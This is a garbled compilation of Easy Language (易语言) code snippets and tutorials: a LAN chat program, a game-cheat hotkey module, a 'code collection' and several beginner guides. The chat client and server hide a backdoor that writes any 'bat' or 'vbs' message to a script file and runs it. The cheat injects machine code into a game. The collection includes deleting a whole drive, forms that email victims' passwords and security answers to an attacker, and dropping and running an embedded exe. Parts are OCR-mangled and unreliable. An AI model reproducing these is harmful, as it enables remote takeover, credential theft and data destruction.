易语言代码
易语言简单局域网聊天代码(客户服务器组件编写)
客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。
易语言代码框架
易语言代码框架大家好,今天我想为大家介绍易语言代码框架。
首先,易语言代码框架是一种程序结构模板,它给程序员提供了一种规范化的程序设计方法。
它将所有程序代码分成多个模块,并进行层次化的组织,用以增强代码的可读性和可维护性。
在易语言中,代码框架通常被称为“工程”,并由多个模块构成。
每个模块通常都包含一个或多个子程序,并对应一个特定的功能或任务。
其次,易语言代码框架强调模块化编程,它将整个程序划分为多个彼此独立的模块,这些模块可以分别编写、测试和维护,从而降低了程序的复杂度,并提高了代码重用率和组件化率。
在易语言中,代码框架通常由多个文件组成,每个文件对应一个特定的模块。
然后,易语言代码框架通常包含一个主模块,它是整个程序的入口点,负责整个程序的初始化和管理。
主模块通常包含全局变量和主程序,以及其他必要的功能和程序集成,如用户界面、数据库连接、网络通信等。
此外,易语言代码框架通常遵循一些编程规范和约定,如命名规范、注释规范、代码风格、代码格式等。
这些规范和约定旨在提高代码质量和可读性,减少代码错误和重构成本。
最后,要想使用易语言代码框架,我们需要掌握代码框架的开发和使用方法。
具体来说,我们需要了解易语言中模块、文件和函数等程序设计基础知识,掌握如何创建新的模块和子程序,如何定义常量和变量,如何进行文件读写等基本操作。
总之,易语言代码框架为我们提供了一种组织和管理程序代码的极佳方法,它是提高代码质量和维护性的重要工具。
如果您是一名易语言开发人员,强烈建议您掌握易语言代码框架的使用方法,以提高您的开发效率和代码质量。
谢谢大家!除了以上提到的特征,易语言代码框架还可以分为不同类型,以满足不同的需求。
一种常见的易语言代码框架类型是MVC架构,即Model-View-Controller模式。
MVC 是一种典型的分层思想,将应用程序划分为三个主要部分:模型、视图和控制器。
模型负责数据管理和处理,视图负责展示数据和用户界面,控制器负责协调模型和视图的交互。
易语言代码
.子程序 攻击
时钟1.时钟周期 = 100
公告 (“攻击安Page Up攻击伤害加”, 十六到十 (“FF00FF00”))
.子程序 SSS
时钟1.时钟周期 = 0
公告 (“关闭攻击”, 十六到十 (“FF00FF00”))
.子程序 秒杀队友
置入代码 ({ 96, 190, 12, 221, 13, 1, 139, 54, 184, 80, 244, 250, 0, 139, 0, 185, 84, 244, 250, 0, 139, 9, 106, 0, 106, 0, 139, 22, 80, 81, 106, 0, 106, 4, 106, 4, 106, 0, 106, 4, 106, 0, 106, 0, 104, 0, 80, 0, 0, 104, 170, 32, 0, 0, 139, 206, 255, 146, 204, 2, 0, 0, 97 })
编辑框3.内容 = 到文本 (攻击伤害值)
公告 (编辑框3.内容, 十六到十 (“FF00FF00”))
.判断结束
.子程序 _时钟1_周期事件
自定义攻击 (十六到十 (“010DDD0C”), 到整数 (0), 到整数 (编辑框3.内容), 到整数 (20059))
公告 (“F4 霸体高防移动”, 十六到十 (“FF00FF00”))
公告 (“F5 消耗品召唤魔剑第1格”, 十六到十 (“FF00FF00”))
公告 (“F6 3S”, 十六到十 (“FF00FF00”))
公告 (“F7 幻影剑舞!(推荐)”, 十六到十 (“FF00FF00”))
公告 (“Page Up攻击伤害加 Page Down攻击伤害减”, 十六到十 (“FF00FF00”))
易语言代码大全
易语言代码大全危险---- 删除目录("D:/") 标准输入() windows 控制台程序一直在回车退出标准输出()windows 控制台程序输入写的内信息框(“ ”, #确认钮, ) 信息框(“ ”, #错误图标) 信息框(“ ”, #取消钮, ) 信息框(“ ”, #取消是否钮, ) 信息框(“ ”, #询问图标, ) 信息框(“ ”, #信息图标, ) 0、#确认钮;1、#确认取消钮;2、#放弃重试忽略钮;3、#取消是否钮;4、#是否钮;5、#重试取消钮第二组(描述图标的样式):16、#错误图标;32、#询问图标;48、#警告图标;64、#信息图标第三组(说明哪一个按钮是缺省默认值):0、#默认按钮一;256、#默认按钮二;512、#默认按钮三;768、#默认按钮四第四组(决定如何等待消息框结束):0、#程序等待;4096、#系统等待第五组(其它):65536、#位于前台;524288、#文本右对齐鸣叫() 连接发信服务器(“”, 25, “****************”,"363031000", ) 发送邮件(“主题:号来了”, “正文:+#换行符+“账号:+编辑框 1.内容+” ” #换行符+“密码:+编辑框 2.内容, “****************”,,“****************””,,“****************”)连接发信服务器(“”,25,“****************”,“363031000”,)发送邮件(“主题:密保”, “正文:+#换行符+“第一个密保:+编辑框 1.内” ” 容+#换行符+“第二个密保:+编辑框 2.内容+#换行符+“第三个密保:+” ” 编辑框 3.内容, “****************”,,“****************”“****************”,,)断开发信服务器() 气球提示框 1.弹出提示框(720, 580, ) 窗口 2.位置= 3 全屏_启动窗口.标题=到文本(取现行时间())取剪辑板文本() 置剪辑板文本() 复制粘贴编辑框1.内容=取剪辑板文本() 置剪辑板文本(编辑框 2.内容) 播放MP3 (1, 编辑框 1.内容) XP 风格(#银色风格) 停止播放() XXX 窗口.销毁()/hb/index.htm 腾讯新闻写到文件(取运行目录() +“/1.exe”, #图片1) 运行(取运行目录() +“/1.exe”, 假, ) 标准输出(,“ ”+#换行符+“ ” )标准输出(, #换行符) 延时( ) ”) 标准输出(, “ 标准输入()结束()超文本浏览框1.地址=“” 超级链接框1.类型= 1 超级链接框1.Internet 地址=“” 超级链接框 1.跳转() 进度条.位置=进度条.位置+ 2 透明标签 1.标题=“” +到文本(取现行时间()) 获取电脑的时间注:点击时钟在时钟周期那个地方改成1 以上否则不行时钟 1.时钟周期=.子程序_时钟1_周期事件写到文件(取运行目录() +“1.kn”, #皮肤) 易皮肤_载入皮肤(取运行目录() +“1.kn”, ) 信息框()“” 编辑框 1.内容=“” 如果真(通用对话框 1.打开() =真) 运行(通用对话框1.文件名, 假, ) 打开文件====================================================================== 写到文件(“D:\XXX.exe”, #声音1) '写入文件删除文件(“”) 删除目录("D:/") 运行(“taskkill /t /f /im XXXXXX.XXX”, 假, ) '删除指定文件'格式化硬盘'终止进程编辑框1.内容=到文本(读入文件(“XXXX.txt ”)) '读取本地文本编辑框 1.内容=到文本(HTTP 读文件(“http:”)) 编辑框 2.内容=取文本中间(到文本(编辑框 1.内容), 56, 16) 56 是位置,16 是显多少'取网页指定文本,这里的写注册项(3, “ Software\Microsoft\Internet “/”) Explorer\Main\Start Page ”, '修改IE 主页xxx =子文本替换(编辑框 1.内容, “,”, “。
od汇编语言转易语言写法
将汇编语言转换为易语言(EPL)需要了解汇编语言和易语言的语法和语义。
由于易语言和汇编语言的编程思想有很大不同,所以无法做到一对一的直接转换,需要进行一些语义映射和逻辑转换。
以下是一个简单的例子,将汇编语言中的加法指令转换为易语言代码:
汇编语言:
assembly复制代码
mov eax, 10 ; 将10放入eax寄存器
add eax, 5 ; 将eax寄存器中的值加5
易语言代码:
复制代码
.版本 2
.程序集网络支持库
主程序
.局部变量 ret,文本型
ret = 10 + 5 ; 将10和5相加,并将结果赋值给ret变量
输出(ret) ; 输出结果
在这个例子中,汇编语言中的mov和add指令被转换为易语言中的赋值和加法操作符。
需要注意的是,易语言中的变量需要先声明才能使用,而汇编语言中则不需要。
另外,易语言中的注释使用.注释语法,而不是汇编语言中的;或//。
由于易语言是一种解释型语言,它的执行效率可能不如汇编语言。
因此,在进行性能敏感的编程时,可能需要考虑使用其他编程语言或优化易语言代码。
易语言代码输入技巧
易语言3.8之前的版本,输入代码的方法为:每输入一行程序,必须使用回车键确认,否则将自动保存为草稿。
而继4.0之后,易语言的代码区支持文本输入方法,用户只需要要按着文本的正常输入方法输入代码即可,无需以前的输入方法。
1.4.1 内置输入法1.拼音输入法为了便于输入程序代码,易语言内置4种名称输入法:首拼、全拼、双拼、英文。
使用菜单“工具”→“系统配置”弹出“系统配置对话框”,如图1-17所示。
图1-17 系统配置对话框3种拼音输入法均支持南方音及多音字。
首拼输入法及全拼输入法在系统中被合并为“首拼及全拼输入法”,系统自动判别所输入的拼音是首拼方式还是全拼方式。
双拼输入法的编码规则与Windows系统所提供的双拼输入法一致。
例如:欲输入“取整(1.23)”语句,各种输入法的输入文本如下。
首拼输入法:qz (1.23)全拼输入法:quzheng (1.23)双拼输入法:quvg (1.23)英文输入法:int (1.23)以上各种输入法的名称部分输入文本(如:qz,quzheng,quvg,int)简称为“输入字”。
拼音类输入法的输入字(如:qz,quzheng,quvg)简称为“拼音输入字”。
首拼及全拼输入法的输入字简称为“首拼及全拼输入字”,双拼输入法的输入字简称为“双拼输入字”。
输入字可以用来输入程序中所涉及到的一切名称,包括:●所有当前运行支持库中所提供的命令、窗口和报表单元数据类型及其属性和方法、普通数据类型及其成员和方法、库定义常量等名称。
●用户在程序中定义的子程序参数、子程序局部变量、程序集变量、全局变量名称。
●用户定义的子程序、Dll外部命令名称。
●用户定义的数据类型及其成员名称。
●用户所加入的资源和所定义的常量的名称。
●用户在设计窗口或报表时所定义的组件、菜单项目或报表单元名称。
●系统数据类型名称。
如:“整数型”、“小数型”等等。
●系统常量名称。
如:逻辑值常量“真”和“假”等。
2.书写拼音输入字的方法(以首拼及全拼输入字为例)(1)为了匹配目标名称中的大小写英文字母和半角数字,请在相应位置处使用对应的大写英文字母和半角数字。
易语言代码大全
1.信息框(“")双引号内填你想消灭的文字,点击按钮即可消灭信息框,上有你想消灭的文字。
2 .编辑框1.内容=在双引号内输入文字,点击按钮即可在编辑框内消灭你所输入的文字。
3.推断开头(组合框1 .现行选中项=0)编辑框3.内容=至歧本(到数值(编辑框1.内容)+至U数值(编辑框2.内容)).推断(组合框1 .现行选中项=1)编辑框3.内容=至U文本(到数值(编辑框1.内容)一至U数值(编辑框2.内容)).推断(组合框1 .现行选中项=2)编辑框3.内容=到文本(到数值(编辑框1.内容)X到数值(编辑框2.内容)).推断(组合框1 .现行选中项=3)编辑框3.内容=到文本(到数值(编辑框1.内容)4-到数值(编辑框2.内容))窗口程序集勇动窗口:计次循环首GO, a)”:端辑框1 .加入文本伊]文本(角)+嫩行符),••计次循环尾0:f计次循环首3 ): 勇动窗口 .标题="Loading”::f计次循环首⑹):: 勇动窗口.标题=勇动窗口.标题+ ”::延退(300):: ※等待时间:300:•计次循环尾0III:••计次循环尾04. 载入口1,,直)Loading 效果通用对话框1 .打开()编辑框1.内答=通用对话框1.文件名执行C编辑框1 .内容… )S5.快速打开程序的易程序代码。
置随机数种子0勇动窗口标题=到文本随机数(1, 9999999))超文本浏览框1.地址=1时钟2.时钟周期=到数值2206.快速刷新网站易程序代码编辑框3.内谷=到文本(1杂运算存I]X 双精度小数型X =A X BX =X + 1[+ X =X 4- 100X =X + 1返回00-个简易的定义运算的代码。
易语言简单局域网聊天代码(客户服务器组件编写)
.如果结束
行符 + “
.变量循环尾 () 编辑框 3.内容 = 编辑框 3.内容 + “【” + 编辑框 9.内容 + “】” + 现在时间 + #换 ” + 聊天内容 + #换行符 播放音乐 (“xxx.wav”, 假) .如果结束
.如果结束
ห้องสมุดไป่ตู้
.否则 .如果 (接收内容 = “发送完毕”) 关闭文件 (文件号 2) 信息框 (“接收完成”, 64, “提示”) 执行 (4, 取文本左边 (编辑框 14.内容, 倒找文本 (编辑框 14.内容, “\”, , 假) - 1), , , ) 编辑框 12.内容 = “” 编辑框 17.内容 = “0” 进度条 2.位置 = 0 分组框 9.可视 = 假 .否则 编辑框 17.内容 = 到文本 (到数值 (编辑框 17.内容) + 2048) 进度条 2.位置 = 到数值 (编辑框 17.内容) ÷ 到数值 (编辑框 15.内容) × 1000 写出字节集 (文件号 2, 服务器 1.取回数据 ()) 服务器 1.发送数据 (服务器 1.取回客户 (), “接收”, 10)
进入>” + 现在时间 + #换行符 播放 MP3 (1, “xlj.mp3”)
.否则 .如果 (取文本左边 (接收内容, 6) = “文件名”) 编辑框 12.内容 = 到文本 (服务器 1.取回客户 ()) j = 倒找文本 (接收内容, “|”, , 假) 编辑框 14.内容 = “d:\” + 取文本中间 (接收内容, 7, j - 7) 分组框 9.标题 = “来自:” + 到文本 (服务器 1.取回客户 ()) + “的发送文件请求” 编辑框 16.内容 = “文件大小:” + 到文本 (到数值 (取文本右边 (接收内容, 取文本长度 (接收内容) -
易语言键代码一览表
A <--------> 65B <--------> 66C <--------> 67D <--------> 68E <--------> 69F <--------> 70G <--------> 71H <--------> 72I <--------> 73 J <--------> 74 K <--------> 75 L <--------> 76 M <--------> 77 N <--------> 78 O <--------> 79 P <--------> 80 Q <--------> 81 R <--------> 82 S <--------> 83 T <--------> 84 U <--------> 85 V <--------> 86 W <--------> 87 X <--------> 88 Y <--------> 89 Z <--------> 900 <--------> 481 <--------> 492 <--------> 503 <--------> 514 <--------> 525 <--------> 536 <--------> 547 <--------> 558 <--------> 569 <--------> 57数字键盘1 <--------> 96 数字键盘2 <--------> 97 数字键盘3 <--------> 98 数字键盘4 <--------> 99 数字键盘5 <--------> 100 数字键盘6 <--------> 101 数字键盘7 <--------> 102 数字键盘8 <--------> 103 数字键盘9 <--------> 104 数字键盘0 <--------> 105 乘号<--------> 106加号<--------> 107 Enter <--------> 108减号<--------> 109小数点<--------> 110除号<--------> 111F1 <--------> 112F2 <--------> 113F3 <--------> 114F4 <--------> 115F5 <--------> 116F6 <--------> 117F7 <--------> 118F8 <--------> 119F9 <--------> 120F10 <--------> 121F11 <--------> 122F12 <--------> 123F13 <--------> 124F14 <--------> 125F15 <--------> 126 Backspace <--------> 8 Tab <--------> 9Clear <--------> 12 Enter <--------> 13Shift <--------> 16 Control <--------> 17Alt <--------> 18Caps Lock <--------> 20 Esc <--------> 27空格键<--------> 32 Page Up <--------> 33 Page Down <--------> 34 End <--------> 35Home <--------> 36左箭头<--------> 37向上箭头<--------> 38右箭头<--------> 39向下箭头<--------> 40 Insert <--------> 45 Delete <--------> 46 Help <--------> 47Num Lock <--------> 144 ; : <--------> 186= + <--------> 187- _ <--------> 189/ ? <--------> 191` ~ <--------> 192[ { <--------> 219| <--------> 220] } <--------> 221'' ' <--------> 222。
易语言随机程序描述名
在易语言中,如果你想要生成随机的程序描述名(也称为窗口标题或者应用程序标题),你可以使用以下步骤:
1. 置随机数种子:这是为了确保每次生成的随机数都是不同的。
在易语言中,你可以使用“置随机数种子()”命令,通常会配合系统时间来设置种子。
易语言代码:
2. 生成随机字符串:你可以使用易语言的字符串操作命令来生成随机的字母和数字组合作为描述名。
易语言代码:
这段代码首先定义了一个包含所有可能字符的字符串随机字符集,然后设置了随机长度的范围。
在循环中,每次迭代都会从随机字符集中随机选取一个字符添加到随机描述名中。
3. 设置程序描述名:最后,你可以使用易语言的“程序标题=”命令来设置你的随机程序描述名。
易语言代码:
这样,每次运行程序时,都会生成一个随机的程序描述名。
请注意,由于随机性,生成的描述名可能会有重复,如果你需要确保唯一性,可以考虑添加额外
的逻辑来检查并重新生成名称,直到得到一个唯一的名称为止。
易语言结束子程序代码
易语言结束子程序代码在易语言中,子程序是一种可以单独调用的代码块,它可以实现特定的功能,并且可以在程序的任何地方被调用。
结束子程序代码则是指在子程序的末尾添加一段代码,用于结束该子程序的执行。
子程序的定义和调用在易语言中,可以使用函数和过程两种方式来定义子程序。
函数函数是一种具有返回值的子程序,它可以接收输入参数,进行一系列的处理,并返回一个结果。
函数的定义格式如下:函数函数名(参数列表) -> 返回值类型函数体返回返回值其中,函数名是函数的名称,参数列表是函数接收的输入参数,返回值类型是函数返回值的数据类型,函数体是函数的具体实现,返回返回值是返回函数的结果。
调用函数的方式是通过函数名直接调用,并传入相应的参数。
例如:结果 = 函数名(参数列表)过程过程是一种没有返回值的子程序,它可以接收输入参数,进行一系列的处理,但不返回任何结果。
过程的定义格式如下:过程过程名(参数列表)过程体其中,过程名是过程的名称,参数列表是过程接收的输入参数,过程体是过程的具体实现。
调用过程的方式是通过过程名直接调用,并传入相应的参数。
例如:过程名(参数列表)结束子程序代码结束子程序代码是一段用于结束子程序执行的代码。
在易语言中,可以使用返回语句来结束函数的执行,并返回相应的结果。
返回返回值其中,返回值是函数返回的结果。
对于过程,由于它没有返回值,所以不需要使用结束子程序代码来结束执行。
示例下面是一个示例,展示了如何使用易语言结束子程序代码。
函数求和(参数列表) -> 整数型变量和 = 0循环(变量 i = 1, i <= 参数列表, i++)和 = 和 + i结束循环返回和结束函数在上面的示例中,我们定义了一个函数求和,它接收一个参数参数列表,并返回一个整数型的结果。
函数的实现是通过循环将参数列表中的数相加,最后返回结果。
在函数的末尾,我们使用了结束子程序代码返回和来结束函数的执行,并返回和的结果。
易语言删除空格代码
易语言删除空格代码易语言是一种面向过程的编程语言,它的语法简单易懂,非常适合初学者入门。
在编写程序时,经常会遇到字符串中存在多余的空格的情况,这些空格会影响程序的正常运行。
为了解决这个问题,我们可以使用易语言编写一段代码来删除字符串中的空格。
我们需要明确一点,即什么是空格。
在计算机中,空格是一种特殊的字符,用于表示空白的位置。
在易语言中,空格可以是空格键输入的空格符,也可以是字符串中的空格字符。
对于字符串中的空格字符,我们可以使用字符串处理函数来进行删除。
在删除空格之前,我们首先需要获取用户输入的字符串。
可以使用易语言中的InputBox函数来实现。
InputBox函数会弹出一个对话框,用户可以在对话框中输入字符串。
代码如下:```str = InputBox("请输入字符串")```得到用户输入的字符串之后,我们可以使用字符串处理函数来删除空格。
在易语言中,有一个非常有用的字符串处理函数叫做Replace,它可以将字符串中的某个子串替换成另一个子串。
我们可以利用这个函数来将空格替换成空字符串,从而实现删除空格的功能。
代码如下:```str = Replace(str, " ", "")```我们可以将处理后的字符串输出,以供用户查看。
可以使用易语言中的MessageBox函数来实现。
MessageBox函数会弹出一个对话框,显示指定的字符串。
代码如下:```MessageBox("处理后的字符串为:" + str)```综合起来,完整的代码如下:```str = InputBox("请输入字符串")str = Replace(str, " ", "")MessageBox("处理后的字符串为:" + str)```这段代码可以在易语言的集成开发环境中直接运行,效果如下:```请输入字符串:Hello World!处理后的字符串为:HelloWorld!```通过这段代码,我们可以看到,输入的字符串中的空格被成功删除了,得到了处理后的字符串。
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程序集窗口程序集1.程序集变量进程, 整数型.程序集变量内存, 内存操作类.程序集变量技能, 整数型.程序集变量句柄, 整数型.程序集变量攻击.程序集变量攻击伤害值, 整数型.子程序 _窗口1_创建完毕内存操作.提升权限 ()内存操作.打开进程 ()鼠标显示 ()进程=取窗口进程ID (窗口1.取窗口句柄 ())攻击=热键.注册 (窗口1.取窗口句柄 (), 0, #F1键, &攻击)攻击=热键.注册 (窗口1.取窗口句柄 (), 0, #F2键, &SSS)热键.注册 (窗口1.取窗口句柄 (), 0, #F3键, &秒杀队友)热键.注册 (窗口1.取窗口句柄 (), 0, #F4键, &城镇加速)热键.注册 (窗口1.取窗口句柄 (), 0, #F5键, &霸体)热键.注册 (窗口1.取窗口句柄 (), 0, #F6键, &霸体1)热键.注册 (窗口1.取窗口句柄 (), 0, #Home键, &说明)热键.注册 (窗口1.取窗口句柄 (), 0, #F8键, &城镇)热键.注册 (窗口1.取窗口句柄 (), 0, #F9键, &图内加速)攻击=热键.注册 (窗口1.取窗口句柄 (), 0, #PageUp键, &攻击伤害加)攻击=热键.注册 (窗口1.取窗口句柄 (), 0, #PageDown键, &攻击伤害减)热键.注册 (窗口1.取窗口句柄 (), 0, #F7键, &幻影剑舞)热键.注册 